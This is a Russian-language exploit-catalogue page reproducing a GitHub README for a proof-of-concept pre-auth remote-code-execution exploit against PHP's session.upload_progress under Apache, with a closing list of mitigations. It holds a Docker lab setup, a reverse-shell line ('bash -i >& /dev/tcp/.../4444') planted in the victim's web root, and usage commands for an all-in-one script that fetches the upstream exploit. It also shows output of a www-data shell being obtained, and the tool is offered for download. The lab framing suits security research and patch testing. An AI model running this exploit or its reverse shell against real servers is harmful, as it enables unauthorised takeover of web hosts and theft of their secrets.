Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-109619 — Proof-of-concept эксплойт для pre-auth RCE через PHP session.upload_progress (PHP2Shell), с утечкой heap/ASLR, профилями смещений для каждой сборки и универсальным обработчиком reverse shell. | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-109619
Криминалистика памятиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЛаборатории и Практика
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

Proof-of-concept эксплойт для pre-auth RCE через PHP session.upload_progress (PHP2Shell), с утечкой heap/ASLR, профилями смещений для каждой сборки и универсальным обработчиком reverse shell.

71 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


Обзор

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) — это уязвимость неаутентифицированного удалённого выполнения кода в PHP под Apache mod_php. Специально сформированный запрос multipart/form-data вызывает аварийное завершение из-за нехватки памяти в обработчике session.upload_progress на этапе предварительного запроса, оставляя устаревшие указатели, которые утекают через Set-Cookie базовые адреса кучи Zend и libphp.so (обходя ASLR); затем поддельная HashTable перенаправляет деструктор на zif_system, выполняя команды от имени веб-воркера (www-data). Аутентификация не требуется, а уязвимые настройки сессий включены по умолчанию.


Уязвимые версии

КатегорияВерсия
УязвимыеPHP 8.2.x / 8.3.x / 8.4.x / 8.5.x до патча
ИсправленныеPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 или новее (2026-10-21)
Проверено наофициальный php:8.4.26-apache (Debian 13, amd64)

Смещения зависят от сборки (версия · архитектура · дистрибутив). Этот PoC поставляется с профилем для 8.4.26-apache amd64; для других сборок нужны собственные profiles/*.json.


Воздействие

  • Удалённое выполнение кода от имени учётной записи веб-воркера (www-data)
  • Полный доступ на чтение и запись к корню документов, конфигурации приложения, учётным данным БД и секретам, доступным этой учётной записи
  • Раскрытие памяти (указатели кучи / libphp, а потенциально и токены сессий и ключи) ещё до RCE

Окружение

Жертва = официальный php:8.4.26-apache с конфигурацией ниже. Атакующий запускается из отдельного контейнера (eqst-kali) в том же Docker-мосту; обратный шелл вызывает его IP.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
ПредусловиеСостояние в этой лаборатории
PHP 8.2–8.5 (до патча) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledВкл. (по умолчанию)
session.use_strict_mode0 (по умолчанию)
display_errorsВкл. (обеспечивает утечку на этапе 1)
memory_limit128M (по умолчанию — оставлено без изменений)
post_max_size / upload_max_filesize > memory_limit (позволяет телу запроса вызвать OOM)256M (приложения с поддержкой загрузки обычно повышают эти значения)
Один рабочий процесс Apache (устаревшее состояние привязано к процессу)1

Примечание о хосте (WSL2): в Windows Docker Desktop (WSL2) ядро отображает libphp по адресу 0x7c..., ниже проверки ASLR 0x7F... из оригинального эксплойта, поэтому он отбрасывает корректную утечку. p2s_shell.py автоматически расширяет этот диапазон. На нативном хосте Linux патч не даёт эффекта.


PoC

p2s_shell.py — это единый процесс, который открывает собственный слушатель, загружает оригинальный эксплойт, выбирает смещения из profiles/*.json по версии PHP цели, запускает цепочку и принимает обратную оболочку, обновлённую до PTY (без отдельного nc).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

Обязательное условие (однократно): разместите полезную нагрузку reverse-shell в корневом каталоге веб-сервера жертвы (носитель команды составляет 14 байт, поэтому длинные полезные нагрузки помещаются в файл, запускаемый через bash</w/c, согласно upstream):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

Запустите PoC изнутри атакующего (пути указаны относительно скрипта):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

Он выполняет фингерпринтинг X-Powered-By: PHP/8.4.26, загружает соответствующий профиль и открывает шелл:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Параметры:

  • --run 'c1;c2' — пакетный режим (интерактивный терминал не требуется)
  • --no-pty — оставить обычную примитивную оболочку вместо обновления до PTY
  • --php-version / --arch — переопределить целевую сборку, когда X-Powered-By скрыт
  • --lport — порт обратной оболочки (должен совпадать с портом, зашитым в /w/c, по умолчанию 4444)

Меры защиты

  • Обновите PHP до 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 или более поздней версии (единственное полное исправление); после этого перезапустите рабочие процессы
  • Установите session.upload_progress.enabled = Off, если прогресс загрузки не используется
  • Установите display_errors = Off в production (блокирует встроенную утечку stage-1)
  • Запускайте PHP от непривилегированного пользователя с корнем документов, доступным только для чтения; ограничивайте частоту больших multipart-тел на периметре
  • Отслеживайте multipart-запросы с ~1000 полями, очень большими телами, повторяющиеся OOM/500, падения дочерних процессов Apache и строки журнала zend_mm_heap corrupted

Анализ

  • KR:
  • EN:
Скачать инструмент